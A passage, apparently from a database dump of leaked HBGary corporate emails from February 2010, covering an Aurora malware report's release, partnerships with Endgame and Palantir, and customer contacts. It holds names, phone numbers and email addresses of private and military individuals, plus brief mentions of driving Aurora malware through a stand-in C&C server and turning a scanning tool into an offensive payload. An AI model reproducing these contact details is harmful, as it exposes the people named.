there?\\n\\nThanks!\\nDavid\\n\\n\\n\\n\\n\r\nX-MICROSOFT-CDO-BUSYSTATUS:TENTATIVE\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nX-MICROSOFT-CDO-INTENDEDSTATUS:BUSY\r\nX-MICROSOFT-DISALLOW-COUNTER:FALSE\r\nX-MS-OLK-ALLOWEXTERNCHECK:TRUE\r\nX-MS-OLK-AUTOSTARTCHECK:FALSE\r\nX-MS-OLK-CONFTYPE:0\r\nX-MS-OLK-SENDER;CN=\"Penny Leavy-Hoglund\":mailto:penny@hbgary.com\r\nBEGIN:VALARM\r\nTRIGGER:-PT15M\r\nACTION:DISPLAY\r\nDESCRIPTION:Reminder\r\nEND:VALARM\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',15744,'aaron_hbgary_com/15744.html'),(2185,'2010-02-08','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297000985.M175467P3547Q2185.eml','\"Aaron Barr\" <aaron@hbgary.com>','explanation of computer purchase','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI just left you a voicemail.&nbsp; John needs exactly what\r\nyou purchased on the HBGary Fed expense report.&nbsp; Please contact me if you\r\nhave any question.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1050,'aaron_hbgary_com/1050.html'),(2186,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000985.M376075P3547Q2186.eml','\"John Farrell\" <john@endgames.us>','Re: The HBGary report timeline','Understand (I said that before right).  We for some reason misconstrued the Aurora paper and thought you were good to provide content specific to that event, being different than your normal information.  I got it, no open reports under no circumstances.  We do have a slightly different model, but we have a lot of defensive offerings which we want to get to the largest audience.  We will pursue these public engagements all separately.\r\n\r\nLets get together when we can (snow permitting) to discuss the opportunities ahead.  I have a few other things I would like to discuss with you in person.\r\n\r\nAaron\r\n\r\n\r\nOn Feb 8, 2010, at 12:47 PM, John Farrell wrote:\r\n\r\n> aaron,\r\n> \r\n> I am happy to discuss with you. Our approach to this market is not based on public disclosures, PR and other marketing. We\'ve been most effective with private sessions, restricted whitepapers and \"word of mouth\" within our customer/target market. I don\'t see this changing anytime soon. As such, we\'re very interested to work with you, but it needs to remain at a discrete level. Our company\'s name needs to stay out of the public domain and we don\'t want to be attributed for our research in public forums.\r\n> \r\n> for now, let\'s focus on:\r\n> 1. OSI RFP response - dan ingevaldson and I will work with you on this\r\n> 2. EGS/Palantir integration - we talked to Matt Steckman last week and we\'re looking into next steps on this\r\n> 3. customer briefings and new business opportunities like ARSTRAT, etc.\r\n> \r\n> Once we\'ve had this opportunity to define the working relationship, I think you will have a better understanding of our strategy and perhaps develop alternative approaches to the market. \r\n> \r\n> thanks very much\r\n> john\r\n> \r\n> On Feb 7, 2010, at 2:03 PM, Aaron Barr wrote:\r\n> \r\n>> Dino,\r\n>> \r\n>> Understand.  We weren\'t sure if there is some subset of data that you could contribute for a broader release, and having not seen the specific data, wasn\'t sure how sensitive it was.\r\n>> \r\n>> Talk with Chris but maybe there is an agreed upon list of customers we can distribute to for a more complete report?  I know we are going to talk to some senior folks in Maryland in a few weeks and would very much like to take a combined Endgame/Palantir/HBGary product.\r\n>> \r\n>> We were hoping to get a public report out that focused on actionable intelligence for a broader audience along with an inoculation shot.  Being very careful as to the sources or methods of acquiring the data.  This report would hopefully demonstrate the benefit of looking at combating the threat much differently.\r\n>> \r\n>> I will work to set up a technical discussion sometime next week so we can all get on the phone and talk about how we can collaborate, boundaries, etc... all for the betterment of mankind. :)\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Feb 7, 2010, at 1:10 PM, Dino Dai Zovi wrote:\r\n>> \r\n>>> Hi Greg,\r\n>>> \r\n>>> We were unaware that the report was intended for public distribution and cannot contribute to it at this time. \r\n>>> \r\n>>> Let\'s pick up the discussion later about Responder and REcon b/c I think those would be very interesting to check out.\r\n>>> \r\n>>> Cheers,\r\n>>> \r\n>>> -Dino\r\n>>> \r\n>>> On Feb 5, 2010, at 2:29 PM, Greg Hoglund wrote:\r\n>>> \r\n>>>> \r\n>>>> Dino, Aaron,\r\n>>>> \r\n>>>> The report, while I like it, does not move the story forward.  Almost all of the data has been reported in other blogs, etc.  Because of that, we initally had not planned to make press about it.  However, I am hoping that Endgames can bring some fresh threat intelligence to the table that hasn\'t been made public yet.  Also, HBGary has created an \'innoculation shot\' (a small signed exe utility) that will scan for and remove hydraq variants from the Enterprise - we are going to release that for free download with the report (that should drive a huge number of hits and downloads). I am on the phone right now w/ our PR (Karen), and assuming we can move the story forward somehow, she wants to schedule a webinar for Wednesday next week where we present the report.  The report will need to be final on Monday the 8th for this to work (because we need to pre-release it to the reporters). If we can\'t make that, it will have to bump to the following week (story can break monday 15th). \r\n>>>> \r\n>>>> Cheers,\r\n>>>> -Greg\r\n>>>> \r\n>>>> ps. Dino, you have probably already done this yourself, but after we RE\'d the protocol, we wrote a stand-in C&C server that will communicate to the aurora malware, and we are able to command it / drive it, etc.  I am willing to share all of our internal RE research with you.  And, we should outfit you w/ Responder and REcon - I think you will especially love REcon.\r\n>>>> \r\n>>>> pss. I am still working on ways to integrate some link analysis w/ Palantir into the report, and hoping that some of the Endgames data will provide some datapoints I can port over to a Palantir investigation.  I want to highlight our partners as much as possible, so this benefits Endgames, Palantir, and HBGary combined.\r\n>>>> \r\n>>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> John M Farrell\r\n> VP Federal \r\n> Endgame Systems\r\n> 75 5th Street Suite 208\r\n> Atlanta, GA 30308\r\n> john@endgames.us\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10138,'aaron_hbgary_com/10138.html'),(2187,'2010-02-08','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000989.M233300P3547Q2187.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,aaron@hbgary.com','Aurora report FINAL','Attached is the FINAL for release.  \r\n \r\n-Greg\r\n',650,'aaron_hbgary_com/650.html'),(2188,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000993.M438138P3547Q2188.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','92 IOS','Bob,\r\n\r\nWhat type of relationship do we have down there.  We have been working to provide some relief to the contractors we know that do their malware analysis.  They have about 20,000 malware samples that need analyzing and only 6 or 8 malware analysts to do it.  They are getting about 40 done a week.  Thats not going to cut it.  We need to be able to get them something like a feed processor to churn through and prioritize their analysis.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12395,'aaron_hbgary_com/12395.html'),(2189,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000993.M652406P3547Q2189.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re: explanation of computer purchase','THis should do it.\r\n\r\n\r\nOn Feb 8, 2010, at 1:39 PM, DeeAnn Buonaccorsi wrote:\r\n\r\n> Hi Aaron,\r\n>  \r\n> I just left you a voicemail.  John needs exactly what you purchased on the HBGary Fed expense report.  Please contact me if you have any question.\r\n>  \r\n> Thanks,\r\n>  \r\n> DeeAnn Buonaccorsi\r\n> Office Manager\r\n> HBGary, Inc.\r\n> 3604 Fair Oaks Blvd.  Suite 250\r\n> Sacramento, CA  95864\r\n> Tel:  916-459-4727 ext. 101\r\n> Fax: 916-481-1460\r\n> Email  deeann@hbgary.com\r\n>  \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1031,'aaron_hbgary_com/1031.html'),(2190,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000993.M874002P3547Q2190.eml','\"Rich Cummings\" <rich@hbgary.com>','DDNA for offense','Rich,\r\n\r\nWhat would it take to modify DDNA to be used as payload to scan memory, prioritize findings, etc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2799,'aaron_hbgary_com/2799.html'),(2191,'2010-02-08','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297000994.M266010P3547Q2192.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: The HBGary report timeline','No worries. Its taken me a while to understand our model and agree that its the most effective, at least at this point in our development.\r\n\r\nhow about tomorrow morning before the 2nd big blast hits? do you have plans? if the government is open tomorrow, I am headed downtown early tomorrow. i could meet you near rosslyn, pentagon city or come out to tysons area later in the morning. I just want to get back to my house before it starts coming down again. let me know what works best.\r\n\r\nJohn\r\n\r\nOn Feb 8, 2010, at 1:51 PM, Aaron Barr wrote:\r\n\r\n> Understand (I said that before right).  We for some reason misconstrued the Aurora paper and thought you were good to provide content specific to that event, being different than your normal information.  I got it, no open reports under no circumstances.  We do have a slightly different model, but we have a lot of defensive offerings which we want to get to the largest audience.  We will pursue these public engagements all separately.\r\n> \r\n> Lets get together when we can (snow permitting) to discuss the opportunities ahead.  I have a few other things I would like to discuss with you in person.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Feb 8, 2010, at 12:47 PM, John Farrell wrote:\r\n> \r\n>> aaron,\r\n>> \r\n>> I am happy to discuss with you. Our approach to this market is not based on public disclosures, PR and other marketing. We\'ve been most effective with private sessions, restricted whitepapers and \"word of mouth\" within our customer/target market. I don\'t see this changing anytime soon. As such, we\'re very interested to work with you, but it needs to remain at a discrete level. Our company\'s name needs to stay out of the public domain and we don\'t want to be attributed for our research in public forums.\r\n>> \r\n>> for now, let\'s focus on:\r\n>> 1. OSI RFP response - dan ingevaldson and I will work with you on this\r\n>> 2. EGS/Palantir integration - we talked to Matt Steckman last week and we\'re looking into next steps on this\r\n>> 3. customer briefings and new business opportunities like ARSTRAT, etc.\r\n>> \r\n>> Once we\'ve had this opportunity to define the working relationship, I think you will have a better understanding of our strategy and perhaps develop alternative approaches to the market. \r\n>> \r\n>> thanks very much\r\n>> john\r\n>> \r\n>> On Feb 7, 2010, at 2:03 PM, Aaron Barr wrote:\r\n>> \r\n>>> Dino,\r\n>>> \r\n>>> Understand.  We weren\'t sure if there is some subset of data that you could contribute for a broader release, and having not seen the specific data, wasn\'t sure how sensitive it was.\r\n>>> \r\n>>> Talk with Chris but maybe there is an agreed upon list of customers we can distribute to for a more complete report?  I know we are going to talk to some senior folks in Maryland in a few weeks and would very much like to take a combined Endgame/Palantir/HBGary product.\r\n>>> \r\n>>> We were hoping to get a public report out that focused on actionable intelligence for a broader audience along with an inoculation shot.  Being very careful as to the sources or methods of acquiring the data.  This report would hopefully demonstrate the benefit of looking at combating the threat much differently.\r\n>>> \r\n>>> I will work to set up a technical discussion sometime next week so we can all get on the phone and talk about how we can collaborate, boundaries, etc... all for the betterment of mankind. :)\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> On Feb 7, 2010, at 1:10 PM, Dino Dai Zovi wrote:\r\n>>> \r\n>>>> Hi Greg,\r\n>>>> \r\n>>>> We were unaware that the report was intended for public distribution and cannot contribute to it at this time. \r\n>>>> \r\n>>>> Let\'s pick up the discussion later about Responder and REcon b/c I think those would be very interesting to check out.\r\n>>>> \r\n>>>> Cheers,\r\n>>>> \r\n>>>> -Dino\r\n>>>> \r\n>>>> On Feb 5, 2010, at 2:29 PM, Greg Hoglund wrote:\r\n>>>> \r\n>>>>> \r\n>>>>> Dino, Aaron,\r\n>>>>> \r\n>>>>> The report, while I like it, does not move the story forward.  Almost all of the data has been reported in other blogs, etc.  Because of that, we initally had not planned to make press about it.  However, I am hoping that Endgames can bring some fresh threat intelligence to the table that hasn\'t been made public yet.  Also, HBGary has created an \'innoculation shot\' (a small signed exe utility) that will scan for and remove hydraq variants from the Enterprise - we are going to release that for free download with the report (that should drive a huge number of hits and downloads). I am on the phone right now w/ our PR (Karen), and assuming we can move the story forward somehow, she wants to schedule a webinar for Wednesday next week where we present the report.  The report will need to be final on Monday the 8th for this to work (because we need to pre-release it to the reporters). If we can\'t make that, it will have to bump to the following week (story can break monday 15th). \r\n>>>>> \r\n>>>>> Cheers,\r\n>>>>> -Greg\r\n>>>>> \r\n>>>>> ps. Dino, you have probably already done this yourself, but after we RE\'d the protocol, we wrote a stand-in C&C server that will communicate to the aurora malware, and we are able to command it / drive it, etc.  I am willing to share all of our internal RE research with you.  And, we should outfit you w/ Responder and REcon - I think you will especially love REcon.\r\n>>>>> \r\n>>>>> pss. I am still working on ways to integrate some link analysis w/ Palantir into the report, and hoping that some of the Endgames data will provide some datapoints I can port over to a Palantir investigation.  I want to highlight our partners as much as possible, so this benefits Endgames, Palantir, and HBGary combined.\r\n>>>>> \r\n>>>>> \r\n>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n>> John M Farrell\r\n>> VP Federal \r\n>> Endgame Systems\r\n>> 75 5th Street Suite 208\r\n>> Atlanta, GA 30308\r\n>> john@endgames.us\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nJohn M Farrell\r\nVP Federal \r\nEndgame Systems\r\n75 5th Street Suite 208\r\nAtlanta, GA 30308\r\njohn@endgames.us\r\n\r\n\r\n\r\n',1634,'aaron_hbgary_com/1634.html'),(2192,'2010-02-08','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1297000994.M51177P3547Q2191.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Jose\'s Tech POC','They have 15 copies of Responder Pro 2.0\r\n\r\nJacob Hammack\r\n210-925-0833\r\njacob.hammack@tasc.com\r\n\r\n',7474,'aaron_hbgary_com/7474.html'),(2193,'2010-02-08','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297000994.M533708P3547Q2193.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: explanation of computer purchase','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail&nbsp; deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 11:09 AM\r\nTo: DeeAnn Buonaccorsi\r\nCc: Ted Vera\r\nSubject: Re: explanation of computer purchase\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTHis should do it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3118,'aaron_hbgary_com/3118.html'),(2194,'2010-02-08','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000994.M731014P3547Q2194.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,aaron@hbgary.com,\"Greg Hoglund\" <greg@hbgary.com>','Re: Aurora report FINAL','Hey Greg -- There is still a mention of Guidance and Verdasys&nbsp;under \"RESPOND\" --\r\n\"When using a Digital DNA™ capable platform such as McAfee ePO, Guidance EnCase Enterprise, or Verdasys Digital Guardian.\" Can you please delete those two companies&nbsp;and resend? Sorry I didn\'t catch it earlier. Karen--- On Mon, 2/8/10, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: Aurora report FINALTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;, \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;, \"Rich Cummings\" &lt;rich@hbgary.com&gt;, aaron@hbgary.comDate: Monday, February 8, 2010, 11:00 AM\r\n\r\nAttached is the FINAL for release.&nbsp; \r\n&nbsp;\r\n-Greg\r\n\r\n',16129,'aaron_hbgary_com/16129.html'),(2195,'2010-02-08','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000994.M918164P3547Q2195.eml','aaron@hbgary.com','Endgame mtg','\r\n\r\n\r\n\r\n\r\nEndgame mtg\r\n\r\n\r\n\r\n\r\nDamn!\r\n\r\n\r\n\r\n',953,'aaron_hbgary_com/953.html'),(2196,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000995.M104288P3547Q2196.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Endgame mtg','what?On Feb 8, 2010, at 2:25 PM, Masterson, Brian (Xetron) wrote:\r\n\r\nDamn!\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11856,'aaron_hbgary_com/11856.html'),(2197,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000996.M833059P3547Q2197.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Endgame mtg','\r\n\r\nour aurora report.  being released later this week.\r\n\r\naaron\r\n\r\nOn Feb 8, 2010, at 2:25 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Damn!\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1273,'aaron_hbgary_com/1273.html'),(2198,'2010-02-08','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1297000997.M152317P3547Q2198.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','Delivery to the following recipient failed permanently:\r\n\r\n     Brian.Masterson@ngc.com\r\n\r\nTechnical details of permanent failure: \r\nGoogle tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 554 554 Transaction Failed.  (state 18).\r\n\r\n----- Original message -----\r\n\r\nReceived: by 10.231.151.197 with SMTP id d5mr2461180ibw.73.1265657389871;\r\n        Mon, 08 Feb 2010 11:29:49 -0800 (PST)\r\nReturn-Path: \r\nReceived: from ?192.168.1.9? (ip98-169-62-13.dc.dc.cox.net [98.169.62.13])\r\n        by mx.google.com with ESMTPS id 23sm4671849iwn.11.2010.02.08.11.29.43\r\n        (version=TLSv1/SSLv3 cipher=RC4-MD5);\r\n        Mon, 08 Feb 2010 11:29:45 -0800 (PST)\r\nFrom: Aaron Barr \r\nMime-Version: 1.0 (Apple Message framework v1077)\r\nContent-Type: multipart/alternative; boundary=Apple-Mail-129--412626302\r\nSubject: Re: Endgame mtg\r\nDate: Mon, 8 Feb 2010 14:29:42 -0500\r\nIn-Reply-To: \r\nTo: \"Masterson, Brian (Xetron)\" \r\nReferences: \r\nMessage-Id: \r\nX-Mailer: Apple Mail (2.1077)\r\n\r\n\r\n\r\nour aurora report.  being released later this week.\r\n\r\naaron\r\n\r\nOn Feb 8, 2010, at 2:25 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Damn!\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5765,'aaron_hbgary_com/5765.html'),(2199,'2010-02-08','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000997.M374030P3547Q2199.eml','aaron@hbgary.com','Re: Endgame mtg','\r\nJust got done with mtg.Impressive.Noone has teamed with them.Currently, everything has just been pass thru including millersville.Willing to give us a week\'s worth of us data.  They are concerned about having their name in the press.Survive the snow?  Heading to DCA for darpa proposer\'s day tomorrow.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Mon Feb 08 13:25:50 2010Subject: Re: Endgame mtg\r\nwhat?On Feb 8, 2010, at 2:25 PM, Masterson, Brian (Xetron) wrote:\r\n\r\nDamn!\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12921,'aaron_hbgary_com/12921.html'),(2200,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000998.M713083P3547Q2200.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Endgame mtg','\r\n\r\n\r\nOn Feb 8, 2010, at 2:30 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Just got done with mtg.\r\n> Impressive.\r\n> Noone has teamed with them.\r\n> Currently, everything has just been pass thru including millersville.\r\n> Willing to give us a week\'s worth of us data. They are concerned about having their name in the press.\r\n> \r\n> Survive the snow? Heading to DCA for darpa proposer\'s day tomorrow.\r\n> \r\n> From: Aaron Barr  \r\n> To: Masterson, Brian (Xetron) \r\n> Sent: Mon Feb 08 13:25:50 2010\r\n> Subject: Re: Endgame mtg \r\n> \r\n> what?\r\n> \r\n> On Feb 8, 2010, at 2:25 PM, Masterson, Brian (Xetron) wrote:\r\n> \r\n>> Damn!\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14502,'aaron_hbgary_com/14502.html'),(2201,'2010-02-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000998.M994050P3547Q2201.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: 92 IOS','Aaron,\r\n \r\nAF is Matt&#39;s territory, so I suggest coordinating with him.  Below is contact info.\r\n \r\n92nd bought 9 copies of Responder Pro.  We upgraded them to DDNA.  Here are some contacts there:\r\n \r\nDavid Borden / 210-925-3199 / david.borden@lackland.af.mil\r\nDeputy Flight Chief\r\nHe said his people love Responder and use it all the time \r\n \r\nJames Boyd / (210) 977-6361 / mobile (210) 705-9799 / james.boyd@lackland.af.mil\r\nTech guy who attended training\r\n \r\nMichael McGlothing - I think he attended training\r\n \r\nGeorge Hewett / (210) 925-3431 / george.hewett@lackland.af.mil\r\n \r\nGary Jurek / 210-925-3753 /  Gearion.Jurek@LACKLAND.AF.MIL\r\nMgt.  Said people are using Responder and like it.\r\nOn Mon, Feb 8, 2010 at 2:03 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nBob,What type of relationship do we have down there.  We have been working to provide some relief to the contractors we know that do their malware analysis.  They have about 20,000 malware samples that need analyzing and only 6 or 8 malware analysts to do it.  They are getting about 40 done a week.  Thats not going to cut it.  We need to be able to get them something like a feed processor to churn through and prioritize their analysis.\r\nAaron BarrCEOHBGary Federal Inc.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',8951,'aaron_hbgary_com/8951.html'),(2202,'2010-02-08','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001000.M459970P3547Q2202.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,,','Re: Aurora report FINAL (REPRISE)','We need to make a movie for this thing - &quot;Aurora Report Returns&quot;  &quot;Son of Aurora Report&quot; - here is the FINAL FINAL this time w/ that text removed.\r\nOn Mon, Feb 8, 2010 at 11:17 AM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHey Greg -- There is still a mention of Guidance and Verdasys under &quot;RESPOND&quot; -- \r\n&quot;When using a Digital DNA™ capable platform such as McAfee ePO, Guidance EnCase Enterprise, or Verdasys Digital Guardian.&quot; Can you please delete those two companies and resend? Sorry I didn&#39;t catch it earlier. Karen\r\n--- On Mon, 2/8/10, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: Aurora report FINAL\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;, &quot;Penny C. Hoglund&quot; &lt;penny@hbgary.com&gt;, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt;, aaron@hbgary.com\r\nDate: Monday, February 8, 2010, 11:00 AM \r\n\r\n\r\nAttached is the FINAL for release.  \r\n \r\n-Greg\r\n',5484,'aaron_hbgary_com/5484.html'),(2203,'2010-02-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001000.M822555P3547Q2203.eml','\"Barr Aaron\" <aaron@hbgary.com>','Task 2 Ideas','Links have counters that increment.\r\nEmails sent / received to / from with counters\r\nAddress book associations\r\nAssigning values to sites / emails / attributes\r\nContext values\r\nSentiment values\r\nBehavioral risk (email attachments, opens attachments from\r\nunassociated people, spearfishing, posting in open forums, not setting\r\nscreensaver -- timout sets screensaver)\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',15640,'aaron_hbgary_com/15640.html'),(2204,'2010-02-08','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297001001.M22269P3547Q2204.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Re: Aurora report FINAL (REPRISE)','PERFECT -- thanks Greg. Already, we have secured interest from Dark Reading for a copy of embargoed report and interview with Greg tomorrow morning PT. I\'ll&nbsp;continue my media outreach&nbsp;to secure prebriefs/share report under embargo. Again, we will release report on Wedn. Feb. 10th at 11 AM ET with a tentative Webinar on report scheduled for same day at 1 PM ET.&nbsp;&nbsp;&nbsp;--- On Mon, 2/8/10, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: Re: Aurora report FINAL (REPRISE)To: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;, \"Rich Cummings\" &lt;rich@hbgary.com&gt;, aaron@hbgary.comDate: Monday, February 8, 2010, 11:45 AM\r\nWe need to make a movie for this thing - \"Aurora Report Returns\"&nbsp; \"Son of Aurora Report\" - here is the FINAL FINAL this time w/ that text removed.\r\nOn Mon, Feb 8, 2010 at 11:17 AM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHey Greg -- There is still a mention of Guidance and Verdasys&nbsp;under \"RESPOND\" -- \r\n\"When using a Digital DNA™ capable platform such as McAfee ePO, Guidance EnCase Enterprise, or Verdasys Digital Guardian.\" Can you please delete those two companies&nbsp;and resend? Sorry I didn\'t catch it earlier. Karen--- On Mon, 2/8/10, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: Aurora report FINALTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;, \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;, \"Rich Cummings\" &lt;rich@hbgary.com&gt;, aaron@hbgary.comDate: Monday, February 8, 2010, 11:00 AM \r\n\r\n\r\nAttached is the FINAL for release.&nbsp; \r\n&nbsp;\r\n-Greg\r\n\r\n',13389,'aaron_hbgary_com/13389.html'),(2205,'2010-02-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001001.M533921P3547Q2205.eml','\"Willis, Dan\" <Dan.Willis@macb.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: HBGary Capabilities Matrix','Yes, I did Dan, thanks.  Attached is the capabilities matrix. Would\r\nyou like to schedule a call to discuss after you\'ve had a chance to\r\nreview?\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\nOn Mon, Feb 8, 2010 at 12:39 PM, Willis, Dan  wrote:\r\n> Ted,\r\n>\r\n>        Did you receive the executed NDA that was sent this morning?\r\n>\r\n> Dan\r\n>\r\n> ____________________\r\n> Dan B. Willis\r\n> Director, IO Programs\r\n> Information Dominance Division\r\n> MacAulay-Brown, Inc.\r\n> Office  (210) 732-7417\r\n> Fax     (210) 732-1012\r\n> Mobile (210) 363-2332\r\n> Web     www.macb.com\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Friday, February 05, 2010 9:56 PM\r\n> To: Willis, Dan\r\n> Subject: HBGary Capabilities 